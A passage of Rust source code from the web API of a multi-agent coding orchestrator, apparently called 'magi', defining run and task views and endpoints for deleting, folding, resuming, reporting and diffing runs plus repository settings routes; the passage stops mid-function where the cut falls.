3534struct FollowUpOrigin {
3535    /// Present only when `origin_task` is set and that task still exists.
3536    parent: Option<FollowUpParent>,
3537    run: FollowUpRun,
3538    /// The merged pull request, verbatim. Not an href: the client passes it
3539    /// through `forgeUrl()` and renders text when that refuses it (the one
3540    /// exception to "the href rule is Rust's alone", since a forge URL is
3541    /// data from a record, not a route).
3542    pr: String,
3543    findings: Vec<String>,
3544    generation: u32,
3545}
3546
3547/// The one place that decides what a follow-up links to. A parent that cannot
3548/// be read (gone, or an id that names nothing) is `None`, never an error.
3549fn followup_origin(
3550    fu: &crate::queue::FollowUp,
3551    task: impl Fn(&str) -> Option<Task>,
3552    run: impl Fn(&str) -> Option<RunState>,
3553) -> FollowUpOrigin {
3554    let parent = fu
3555        .origin_task
3556        .as_deref()
3557        .and_then(task)
3558        .map(|t| FollowUpParent {
3559            short: t.short().to_owned(),
3560            href: format!("#/tasks/{}", encode_segment(&t.id)),
3561            status: t.status.as_str(),
3562            title: t.title,
3563            id: t.id,
3564        });
3565    let state = run(&fu.run);
3566    FollowUpOrigin {
3567        parent,
3568        run: FollowUpRun {
3569            short: run::short_of(&fu.run).to_owned(),
3570            status: state.as_ref().map(|s| s.status.as_str()),
3571            href: state
3572                .is_some()
3573                .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
3574            id: fu.run.clone(),
3575        },
3576        pr: fu.pr.clone(),
3577        findings: fu.findings.clone(),
3578        generation: fu.generation,
3579    }
3580}
3581
3582/// Another run of the same task, as named from a run's detail page.
3583#[derive(Debug, Serialize)]
3584struct RunBrief {
3585    id: String,
3586    short: String,
3587    /// `None` when the run's record cannot be read.
3588    status: Option<&'static str>,
3589    /// The task-page wording for how that pass ended.
3590    outcome: String,
3591    /// See [`TaskRunView::badge`]; always `None` here (no liveness at hand).
3592    badge: Option<String>,
3593}
3594
3595/// The task's overall outcome as seen from `this_run`'s page, classified with
3596/// the same exits the task page's flowchart uses.
3597fn task_outcome(
3598    task: &Task,
3599    this_run: &str,
3600    max_attempts: usize,
3601    read: impl Fn(&str) -> Option<RunState>,
3602) -> TaskRef {
3603    let max_attempts = task.effective_attempt_limit(max_attempts);
3604    let history = task_history(task, read);
3605    let brief = |h: &TaskRunView| RunBrief {
3606        id: h.id.clone(),
3607        short: h.short.clone(),
3608        status: h.status,
3609        outcome: h.exit.edge_label(h.status),
3610        badge: h.badge.clone(),
3611    };
3612    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3613    let latest = if is_latest {
3614        None
3615    } else {
3616        history.last().map(brief)
3617    };
3618    let done = task.status == TaskStatus::Done;
3619    let finished_by = done
3620        .then(|| {
3621            history
3622                .iter()
3623                .rev()
3624                .find(|h| {
3625                    matches!(
3626                        h.exit,
3627                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3628                    )
3629                })
3630                .map(brief)
3631        })
3632        .flatten();
3633    TaskRef {
3634        short: task.short().to_owned(),
3635        title: task.title.clone(),
3636        id: task.id.clone(),
3637        source_label: task.source.label(),
3638        source_link: source_link(&task.source),
3639        status: task.status.as_str(),
3640        attempts: task.attempts,
3641        max_attempts,
3642        is_latest,
3643        latest,
3644        closed_by_hand: done && finished_by.is_none(),
3645        finished_by,
3646    }
3647}
3648
3649/// The task's current attempt, as seen from an older one's detail page.
3650#[derive(Debug, Serialize)]
3651struct LatestAttempt {
3652    id: String,
3653    short: String,
3654    /// Whether this attempt itself settled with a result nobody needs to
3655    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
3656    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
3657    /// unconfirmed claim that no change was needed, which is exactly why it
3658    /// settles the task through `Held` rather than `Done` and still waits on
3659    /// a human to check the evidence; showing an older run as "finished
3660    /// elsewhere" on the strength of an unverified claim would bury the
3661    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
3662    /// in-flight status are excluded because they are exactly the
3663    /// unresolved states this field exists to tell apart from a real finish.
3664    resolved: bool,
3665    /// The attempt's own recorded status, so the page can say where it
3666    /// stands while it is not resolved yet.
3667    status: RunStatus,
3668    /// Whether that status is terminal (nothing is still running it).
3669    done: bool,
3670}
3671
3672/// Markdown for the free-text prose of a run, parallel to `RunState`.
3673#[derive(Debug, Default, Serialize)]
3674struct RunProseMd {
3675    /// `None` when the run has no design deliberation.
3676    advice_md: Option<AdviceMd>,
3677    /// One entry per candidate: the summary.
3678    candidate_summaries_md: Vec<Vec<md::Node>>,
3679    /// One entry per review round, in `reviews` order.
3680    reviews_md: Vec<RoundMd>,
3681}
3682
3683#[derive(Debug, Default, Serialize)]
3684struct AdviceMd {
3685    synthesis: Vec<md::Node>,
3686    /// One per record; empty for a seat with no proposal.
3687    approaches: Vec<Vec<md::Node>>,
3688}
3689
3690#[derive(Debug, Default, Serialize)]
3691struct RoundMd {
3692    /// One per reviewer record.
3693    reviewers: Vec<ReviewerMd>,
3694    /// One per `reconsideration` entry: the reason.
3695    reconsideration: Vec<Vec<md::Node>>,
3696    fix: Option<FixMd>,
3697}
3698
3699#[derive(Debug, Default, Serialize)]
3700struct ReviewerMd {
3701    summary: Vec<md::Node>,
3702    /// One per finding, in recorded order (not the display order).
3703    findings: Vec<Vec<md::Node>>,
3704}
3705
3706#[derive(Debug, Default, Serialize)]
3707struct FixMd {
3708    notes: Vec<md::Node>,
3709    /// One per rejection: the argument.
3710    rejected: Vec<Vec<md::Node>>,
3711}
3712
3713/// Parse a run's agent-written prose; a pure function of the state.
3714fn run_prose_md(state: &RunState) -> RunProseMd {
3715    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3716    RunProseMd {
3717        advice_md: state.advice.as_ref().map(|a| AdviceMd {
3718            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3719            approaches: a
3720                .records
3721                .iter()
3722                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3723                .collect(),
3724        }),
3725        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3726        reviews_md: state
3727            .reviews
3728            .iter()
3729            .map(|round| RoundMd {
3730                reviewers: round
3731                    .reviews
3732                    .iter()
3733                    .map(|rec| ReviewerMd {
3734                        summary: nodes(&rec.summary),
3735                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3736                    })
3737                    .collect(),
3738                reconsideration: round
3739                    .reconsideration
3740                    .iter()
3741                    .map(|rv| nodes(&rv.reason))
3742                    .collect(),
3743                fix: round.fix.as_ref().map(|fix| FixMd {
3744                    notes: nodes(&fix.notes),
3745                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3746                }),
3747            })
3748            .collect(),
3749    }
3750}
3751
3752impl RunDetailView {
3753    fn of(
3754        state: RunState,
3755        waiting: bool,
3756        live: crate::run::Liveness,
3757        superseded_by: Option<String>,
3758        latest_attempt: Option<LatestAttempt>,
3759        task: Option<TaskRef>,
3760    ) -> Self {
3761        let display_status = run_display_status(&state, waiting, live);
3762        let stop_reason = crate::stop_reason::of(
3763            &state,
3764            latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
3765        );
3766        let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
3767        Self {
3768            stop_reason,
3769            pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
3770            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
3771            prose_md: run_prose_md(&state),
3772            origin_label: crate::run::origin_label(state.origin.as_ref()),
3773            live,
3774            unmerged_by_design: state.unmerged_by_design(),
3775            waiting,
3776            display_status,
3777            badge_status,
3778            done: state.status.done(),
3779            superseded_by,
3780            latest_attempt,
3781            task,
3782            state,
3783        }
3784    }
3785}
3786
3787/// Core content needs neither the queue nor question/liveness evidence.
3788async fn run_core(
3789    State(ui): State<Arc<Ui>>,
3790    Path(id): Path<String>,
3791) -> ApiResult<Json<RunDetailView>> {
3792    blocking(move || {
3793        let id = resolve_run(&ui.runs, &id)?;
3794        let state = read_run(&ui.runs, &id)?;
3795        Ok(Json(RunDetailView::of(
3796            state,
3797            false,
3798            crate::run::Liveness::Unknown,
3799            None,
3800            None,
3801            None,
3802        )))
3803    })
3804    .await
3805}
3806
3807async fn run_detail(
3808    State(ui): State<Arc<Ui>>,
3809    Path(id): Path<String>,
3810) -> ApiResult<Json<RunDetailView>> {
3811    blocking(move || {
3812        let id = resolve_run(&ui.runs, &id)?;
3813        let state = read_run(&ui.runs, &id)?;
3814        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3815        let live = state.liveness(daemon_claims);
3816        crate::queue::record_ids(ui.questions.root(), "json")?;
3817        let waiting = ui
3818            .questions
3819            .list()
3820            .iter()
3821            .any(|q| q.run == id && q.status.open());
3822        let max_attempts = daemon::Opts::default().max_attempts;
3823
3824        let matching_task = ui.find_task_for_run(&id)?;
3825
3826        let superseded_by = state
3827            .pr_taken_over_by
3828            .clone()
3829            .or_else(|| {
3830                matching_task
3831                    .as_ref()
3832                    .and_then(|t| t.successor_of(&id).cloned())
3833            })
3834            .as_deref()
3835            .map(crate::run::short_of)
3836            .map(str::to_owned);
3837
3838        // Best-effort: an unreadable head (mid-write, or deleted) just means
3839        // this run's own status stands on its own, same as no later attempt
3840        // existing at all.
3841        let latest_attempt = matching_task
3842            .as_ref()
3843            .and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
3844            .and_then(|head_id| {
3845                read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
3846                    short: head.short().to_owned(),
3847                    resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
3848                    status: head.status,
3849                    done: head.status.done(),
3850                    id: head.id,
3851                })
3852            });
3853
3854        let task = matching_task
3855            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
3856
3857        Ok(Json(RunDetailView::of(
3858            state,
3859            waiting,
3860            live,
3861            superseded_by,
3862            latest_attempt,
3863            task,
3864        )))
3865    })
3866    .await
3867}
3868
3869/// `DELETE /api/runs/{id}`.
3870///
3871/// Remove a finished, folded run directory along with its artifacts.
3872/// Running runs and runs with unfolded candidate worktrees/branches cannot be
3873/// deleted. This never touches git worktrees or branches - except for a run
3874/// whose state this build cannot read at all, where there is no candidate
3875/// list to check and the wholesale removal `magi fold` already uses for that
3876/// case is the only meaningful "delete".
3877async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3878    let (id, unreadable) = {
3879        let ui = Arc::clone(&ui);
3880        blocking(move || {
3881            let id = resolve_run(&ui.runs, &id)?;
3882            match read_run(&ui.runs, &id) {
3883                Ok(state) => {
3884                    let in_flight =
3885                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3886                    state
3887                        .ensure_can_delete(in_flight)
3888                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3889                    let dir = ui.runs.join(&id);
3890                    std::fs::remove_dir_all(&dir)
3891                        .with_context(|| format!("remove run directory {}", dir.display()))?;
3892                    Ok((id, false))
3893                }
3894                Err(_) => {
3895                    // Unreadable: there is no candidate list to guard on, so
3896                    // a live daemon's claim is the only thing left to check -
3897                    // the same rule `run_fold` applies for the same reason.
3898                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3899                        return Err(ApiError::conflict(format!(
3900                            "run {id} is being worked on by a live daemon right now"
3901                        )));
3902                    }
3903                    Ok((id, true))
3904                }
3905            }
3906        })
3907        .await?
3908    };
3909    if unreadable {
3910        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3911            .await
3912            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3913    }
3914    let ui = Arc::clone(&ui);
3915    let done = id.clone();
3916    blocking(move || {
3917        // The agent that asked died with the run, so an open question would
3918        // keep asking the operator for a decision nobody can deliver.
3919        ui.questions.abandon_for_run(
3920            &done,
3921            &format!("run {done} was deleted, so nothing is waiting for this answer"),
3922        )?;
3923        Ok(())
3924    })
3925    .await?;
3926    Ok(StatusCode::NO_CONTENT)
3927}
3928
3929/// `POST /api/runs/{id}/fold`.
3930///
3931/// Remove a run's candidate worktrees and branches, keeping its record.
3932///
3933/// This exists because the deck answered "delete this run" with *"Candidates
3934/// must be folded before deleting. Run `magi fold` first."* — a phone being
3935/// told to open a terminal, in the one product whose point is that it does
3936/// not need one. The runs an operator most wants gone are the stalled and
3937/// blocked ones, and those are exactly the runs still holding worktrees:
3938/// three of them here held 53 GB.
3939///
3940/// The winner's tree goes too. A fold is what someone asks for when they are
3941/// finished with a run, and leaving one tree behind would leave the delete
3942/// button disabled for the same reason as before.
3943///
3944/// Refused while a live daemon is working on the run, on the rule that guards
3945/// deletion: folding underneath a running agent would pull the tree it is
3946/// editing out from under it.
3947///
3948/// A run whose state this build cannot read at all falls back to
3949/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
3950/// selectively, so the whole record's worktree goes wholesale, exactly what
3951/// `magi fold` does on the command line for the same run.
3952async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3953    let (id, state) = {
3954        let ui = Arc::clone(&ui);
3955        blocking(move || {
3956            let id = resolve_run(&ui.runs, &id)?;
3957            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3958                return Err(ApiError::conflict(format!(
3959                    "run {id} is being worked on by a live daemon right now"
3960                )));
3961            }
3962            let state = read_run(&ui.runs, &id).ok();
3963            Ok((id, state))
3964        })
3965        .await?
3966    };
3967    let removed = match state {
3968        Some(mut state) => {
3969            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3970                .await
3971                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3972            // Nothing left to remove is not the same thing as nothing left to
3973            // do — see `clean::clear_abandoned_active`'s own doc for the run
3974            // this exists for: worktrees already gone, but a killed process
3975            // left active seats nobody will ever answer for.
3976            if removed.is_empty() {
3977                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3978                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3979            }
3980            removed
3981        }
3982        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3983            .await
3984            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3985    };
3986    Ok(Json(FoldView {
3987        run: id,
3988        removed_count: removed.len(),
3989        removed,
3990    }))
3991}
3992
3993/// What a fold took away, so the deck can say so rather than only re-render.
3994#[derive(Debug, Serialize)]
3995struct FoldView {
3996    run: String,
3997    /// Worktree paths and branch names removed, in the order they went.
3998    removed: Vec<String>,
3999    removed_count: usize,
4000}
4001
4002/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
4003/// merged outside of `land::land`'s own loop.
4004#[derive(Debug, Deserialize)]
4005struct FoldMergedBody {
4006    #[serde(default)]
4007    pr_url: String,
4008}
4009
4010/// `POST /api/runs/{id}/fold-merged`.
4011///
4012/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
4013/// `Blocked` with `merge: null` because magi never got as far as opening a
4014/// pull request of its own (a title over GitHub's length limit, `gh pr
4015/// create` unreachable, a stale token), which the operator then finished by
4016/// hand on a pull request magi never recorded. The "Run actions" sheet used
4017/// to have no way to tell it about that pull request short of a terminal and
4018/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
4019/// this exists and what it deliberately does not do (`bump::after_merge`).
4020///
4021/// Refused, like [`run_fold`], while a live daemon is working on the run: the
4022/// correction rewrites the same `status`/`merge` fields a running graph would
4023/// be writing to on its own.
4024///
4025/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
4026/// calls plus a fold, seconds of work, and the phone should get its answer
4027/// (which pull request it recorded, and what changed) in the same round
4028/// trip rather than learning it from the change stream.
4029async fn run_fold_merged(
4030    State(ui): State<Arc<Ui>>,
4031    Path(id): Path<String>,
4032    Json(body): Json<FoldMergedBody>,
4033) -> ApiResult<Json<FoldMergedView>> {
4034    let pr_url = body.pr_url.trim().to_owned();
4035    if pr_url.is_empty() {
4036        return Err(ApiError::bad_request("pr_url is required"));
4037    }
4038    let (id, mut state) = {
4039        let ui = Arc::clone(&ui);
4040        blocking(move || {
4041            let id = resolve_run(&ui.runs, &id)?;
4042            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4043                return Err(ApiError::conflict(format!(
4044                    "run {id} is being worked on by a live daemon right now"
4045                )));
4046            }
4047            let state = read_run(&ui.runs, &id)?;
4048            Ok((id, state))
4049        })
4050        .await?
4051    };
4052    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
4053        .await
4054        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4055    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4056        .await
4057        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4058    Ok(Json(FoldMergedView {
4059        run: id,
4060        before: before.as_str().to_owned(),
4061        after: after.as_str().to_owned(),
4062        removed,
4063    }))
4064}
4065
4066/// What [`run_fold_merged`] did, so the deck can say so.
4067#[derive(Debug, Serialize)]
4068struct FoldMergedView {
4069    run: String,
4070    /// `status` before the correction — normally `"blocked"`.
4071    before: String,
4072    /// `status` after — normally `"merged"`.
4073    after: String,
4074    /// Worktree paths and branch names the trailing fold removed.
4075    removed: Vec<String>,
4076}
4077
4078/// `POST /api/runs/{id}/resume`.
4079///
4080/// Carry a stalled run on from where it stopped, in the background.
4081///
4082/// A stalled card says "the work is kept" and used to offer no way to act on
4083/// that: the candidates are built and paid for, and continuing means re-asking
4084/// only the seats whose absence collapsed the panel. The alternative an
4085/// operator actually had was releasing the task, which competes three fresh
4086/// implementations against work that already exists.
4087///
4088/// **202, not 200.** A resume runs agents for minutes; holding the connection
4089/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
4090/// phone learns the outcome from the change stream.
4091///
4092/// Refused when the loop is running at all, not merely when it is on this run.
4093/// The scarce resource is the agent CLIs' quota, and a tap that quietly
4094/// started a second graph on top of whatever the loop is already driving —
4095/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
4096/// allows — would spend that quota twice over for no extra throughput.
4097async fn run_resume(
4098    State(ui): State<Arc<Ui>>,
4099    Path(id): Path<String>,
4100) -> ApiResult<(StatusCode, Json<RunSummary>)> {
4101    let admission = ui.begin_admission()?;
4102    admitted(admission, async move {
4103        let (id, state) = {
4104            let ui = Arc::clone(&ui);
4105            blocking(move || {
4106                let id = resolve_run(&ui.runs, &id)?;
4107                let state = read_run(&ui.runs, &id)?;
4108                Ok((id, state))
4109            })
4110            .await?
4111        };
4112        crate::resume::validate_unqueued(&ui.home, &id)
4113            .map_err(|e| ApiError::conflict(e.to_string()))?;
4114        let _resume = ui.begin_resume(&id)?;
4115
4116        crate::resume::start(&ui.home, id.clone())
4117            .await
4118            .map_err(ApiError::from)?;
4119        // The same shape the list route returns, so the phone updates the card it
4120        // already has rather than learning a second schema for one button.
4121        let queued = RunSummary::of(
4122            &state,
4123            !ui.questions.open_for(&id).is_empty(),
4124            state.liveness(daemon::is_working_on(&ui.home, &id, Timestamp::now())),
4125        );
4126        Ok((StatusCode::ACCEPTED, Json(queued)))
4127    })
4128    .await
4129}
4130
4131async fn run_report(
4132    State(ui): State<Arc<Ui>>,
4133    Path(id): Path<String>,
4134) -> ApiResult<impl IntoResponse> {
4135    let text = blocking(move || {
4136        let id = resolve_run(&ui.runs, &id)?;
4137        // Colour is off for the whole process, set once in `serve`. Rendering
4138        // is CPU work over the full state, which is the other reason this is
4139        // not on the executor.
4140        let state = read_run(&ui.runs, &id)?;
4141        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4142        let live = state.liveness(daemon_claims);
4143        Ok(format!(
4144            "{}{}",
4145            report::run(&state),
4146            report::active_seats(&state, live)
4147        ))
4148    })
4149    .await?;
4150    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
4151}
4152
4153/// The structured twin of [`run_report`]: the same state, as sections the UI
4154/// draws as cards. An unreadable run answers with the same error the text
4155/// route does; it is never turned into an empty report.
4156async fn run_report_json(
4157    State(ui): State<Arc<Ui>>,
4158    Path(id): Path<String>,
4159) -> ApiResult<Json<crate::report_view::RunReportView>> {
4160    let view = blocking(move || {
4161        let id = resolve_run(&ui.runs, &id)?;
4162        let state = read_run(&ui.runs, &id)?;
4163        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4164        // Only a record that lacks the structured details reads `artifacts/`.
4165        let recovered = state.graft.as_ref().map(|_| {
4166            crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
4167        });
4168        Ok(crate::report_view::build_with(
4169            &state,
4170            state.liveness(daemon_claims),
4171            recovered.as_ref(),
4172        ))
4173    })
4174    .await?;
4175    Ok(Json(view))
4176}
4177
4178/// Most of a graft diff the route returns.
4179const GRAFT_DIFF_MAX: usize = 400 * 1024;
4180/// How long `git diff` may run.
4181const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
4182
4183/// The graft's own patch: recorded `pre` against recorded `post`. Both SHAs
4184/// come from the run record, never from the request.
4185async fn run_graft_diff(
4186    State(ui): State<Arc<Ui>>,
4187    Path(id): Path<String>,
4188) -> ApiResult<impl IntoResponse> {
4189    let (repo, pre, post) = blocking(move || {
4190        let id = resolve_run(&ui.runs, &id)?;
4191        let state = read_run(&ui.runs, &id)?;
4192        let g = state
4193            .graft
4194            .as_ref()
4195            .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
4196        let post = g
4197            .post
4198            .clone()
4199            .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
4200        Ok((state.repo.clone(), g.pre.clone(), post))
4201    })
4202    .await?;
4203    let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
4204    if !hex(&pre) || !hex(&post) {
4205        return Err(ApiError::not_found("the recorded commits are not valid"));
4206    }
4207    let out = tokio::time::timeout(
4208        GRAFT_DIFF_TIMEOUT,
4209        crate::git::git_raw(
4210            &repo,
4211            &[
4212                "diff",
4213                "--no-color",
4214                "--no-ext-diff",
4215                "-M",
4216                &pre,
4217                &post,
4218                "--",
4219            ],
4220        ),
4221    )
4222    .await
4223    .map_err(|_| ApiError::not_found("git diff timed out"))?
4224    .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
4225    if out.code != Some(0) {
4226        return Err(ApiError::not_found(
4227            "the recorded commits are no longer in the repository",
4228        ));
4229    }
4230    let mut body = out.stdout;
4231    if body.len() > GRAFT_DIFF_MAX {
4232        let mut cut = GRAFT_DIFF_MAX;
4233        while !body.is_char_boundary(cut) {
4234            cut -= 1;
4235        }
4236        body.truncate(cut);
4237        body.push_str("\n... diff truncated ...");
4238    }
4239    Ok((
4240        [
4241            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4242            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4243        ],
4244        body,
4245    ))
4246}
4247
4248/// A task as the UI sees it.
4249///
4250/// The whole task, plus the two things the client would otherwise have to
4251/// reimplement: the human-readable source and the status string. Nothing is
4252/// removed - the phone shows `last_error` and the run history verbatim.
4253#[derive(Debug, Serialize)]
4254struct TaskView {
4255    #[serde(flatten)]
4256    task: Task,
4257    source_label: String,
4258    source_link: Option<SourceLink>,
4259    status_str: &'static str,
4260    /// The instruction, parsed as markdown, for the Queue card's "Full
4261    /// instruction" panel. `task.instruction` is unchanged and still carries
4262    /// the raw text.
4263    instruction_md: Vec<md::Node>,
4264    /// For a blocked task, what it waits on with each dependency's state, e.g.
4265    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
4266    /// recurses; empty for every other status.
4267    waits_on: Vec<String>,
4268    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
4269    /// behind - non-empty means nothing in the loop will ever run it.
4270    stuck_roots: Vec<String>,
4271}
4272
4273impl From<Task> for TaskView {
4274    fn from(task: Task) -> Self {
4275        Self {
4276            source_label: task.source.label(),
4277            source_link: source_link(&task.source),
4278            status_str: task.status.as_str(),
4279            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
4280            waits_on: Vec::new(),
4281            stuck_roots: Vec::new(),
4282            task,
4283        }
4284    }
4285}
4286
4287impl TaskView {
4288    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
4289        let waits_on = inv.waits_on(&task);
4290        let stuck_roots = inv
4291            .stuck_roots(&task)
4292            .iter()
4293            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
4294            .collect();
4295        Self {
4296            waits_on,
4297            stuck_roots,
4298            ..Self::from(task)
4299        }
4300    }
4301}
4302
4303/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
4304/// its absence, leaves the cache to decide.
4305#[derive(Debug, Default, Deserialize)]
4306#[serde(default)]
4307struct ReposQuery {
4308    refresh: u8,
4309}
4310
4311/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
4312/// listing `magi repos` prints at a terminal.
4313///
4314/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
4315/// so an edit to `magi.toml` takes effect without a restart, the same
4316/// reasoning [`config_for`] documents for the talk routes.
4317async fn repos_list(
4318    State(ui): State<Arc<Ui>>,
4319    Query(q): Query<ReposQuery>,
4320) -> ApiResult<Json<Vec<repos::Repo>>> {
4321    let refresh = q.refresh != 0;
4322    blocking(move || {
4323        let (cfg, _) = Config::discover(&ui.repo, None)?;
4324        Ok(Json(ui.repos_cache.list(
4325            &cfg.repos.roots,
4326            Duration::from_secs(cfg.repos.scan_ttl),
4327            refresh,
4328        )))
4329    })
4330    .await
4331}
4332
4333/// Optional context, restricted to the server's known checkouts.
4334#[derive(Debug, Default, Deserialize)]
4335struct SettingsQuery {
4336    repo: Option<PathBuf>,
4337}
4338
4339/// Always discover against the server's original context, never the selection.
4340/// If that config is broken, retain the default context and machine-only roots
4341/// so the settings error contract and recovery picker remain available.
4342fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
4343    let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
4344        let paths: Vec<PathBuf> = ui
4345            .machine_config
4346            .iter()
4347            .filter(|p| p.is_file())
4348            .cloned()
4349            .collect();
4350        if paths.is_empty() {
4351            Ok(Config::autodetected())
4352        } else {
4353            Config::load_layers(&paths)
4354        }
4355    });
4356    let mut known = cfg
4357        .map(|cfg| {
4358            ui.repos_cache.list(
4359                &cfg.repos.roots,
4360                Duration::from_secs(cfg.repos.scan_ttl),
4361                refresh,
4362            )
4363        })
4364        .unwrap_or_default();
4365    let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
4366    if !known.iter().any(|r| r.path == path) {
4367        known.push(repos::Repo {
4368            name: path
4369                .file_name()
4370                .unwrap_or_default()
4371                .to_string_lossy()
4372                .into_owned(),
4373            path,
4374        });
4375    }
4376    known
4377}
4378
4379fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
4380    let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
4381    let canonical = requested.canonicalize().ok();
4382    let mut known = settings_repositories(ui, false);
4383    let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
4384    if !known.iter().any(matches) {
4385        known = settings_repositories(ui, true);
4386    }
4387    let repo = known
4388        .iter()
4389        .find(|r| matches(r))
4390        .map(|r| r.path.clone())
4391        .ok_or_else(|| ApiError {
4392            text_reason: None,
4393            status: StatusCode::UNPROCESSABLE_ENTITY,
4394            message: "Choose a known repository from the Settings selector.".to_owned(),
4395        })?;
4396    Ok((repo, known))
4397}
4398
4399/// `GET /api/settings` - the effective role assignments and roster, with the
4400/// layer each came from. A config that fails to load answers 200 with an
4401/// `error`, so the screen can say so instead of drawing empty lists.
4402async fn settings_get(
4403    State(ui): State<Arc<Ui>>,
4404    Query(q): Query<SettingsQuery>,
4405) -> ApiResult<Json<settings::SettingsView>> {
4406    blocking(move || {
4407        let (repo, known) = settings_context(&ui, q)?;
4408        Ok(Json(settings::view_with_repos(
4409            &repo,
4410            ui.machine_config.as_deref(),
4411            &known,
4412        )))
4413    })
4414    .await
4415}
4416
4417/// The body of `PUT /api/settings/roles`.
4418#[derive(Debug, Deserialize)]
4419#[serde(deny_unknown_fields)]
4420struct RolesBody {
4421    /// The `revision` the client last read.
4422    revision: String,
4423    /// Role key to its new ids; an empty list resets the key to its default.
4424    #[serde(default)]
4425    roles: std::collections::BTreeMap<String, Vec<String>>,
4426    /// Role key (`implementers`, `judges`, `reviewers`, `advisors`) to its new
4427    /// `[graph]` seat count. Kept as raw JSON so a non-integer is refused in
4428    /// words (422) instead of as a deserialization error.
4429    #[serde(default)]
4430    counts: std::collections::BTreeMap<String, serde_json::Value>,
4431}
4432
4433/// `PUT /api/settings/roles` - save role assignments to the machine config.
4434///
4435/// The write target is `ui.machine_config` and nothing in the body can change
4436/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
4437/// 422 with the reason in words.
4438async fn settings_put_roles(
4439    State(ui): State<Arc<Ui>>,
4440    Query(q): Query<SettingsQuery>,
4441    body: std::result::Result<Json<RolesBody>, JsonRejection>,
4442) -> ApiResult<Json<settings::SettingsView>> {
4443    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4444    blocking(move || {
4445        let (repo, known) = settings_context(&ui, q)?;
4446        settings::save_with_repos(
4447            &repo,
4448            ui.machine_config.as_deref(),
4449            &body.revision,
4450            &body.roles,
4451            &body.counts,
4452            &known,
4453        )
4454        .map(Json)
4455        .map_err(|e| match e {
4456            settings::SaveError::Conflict(m) => ApiError::conflict(m),
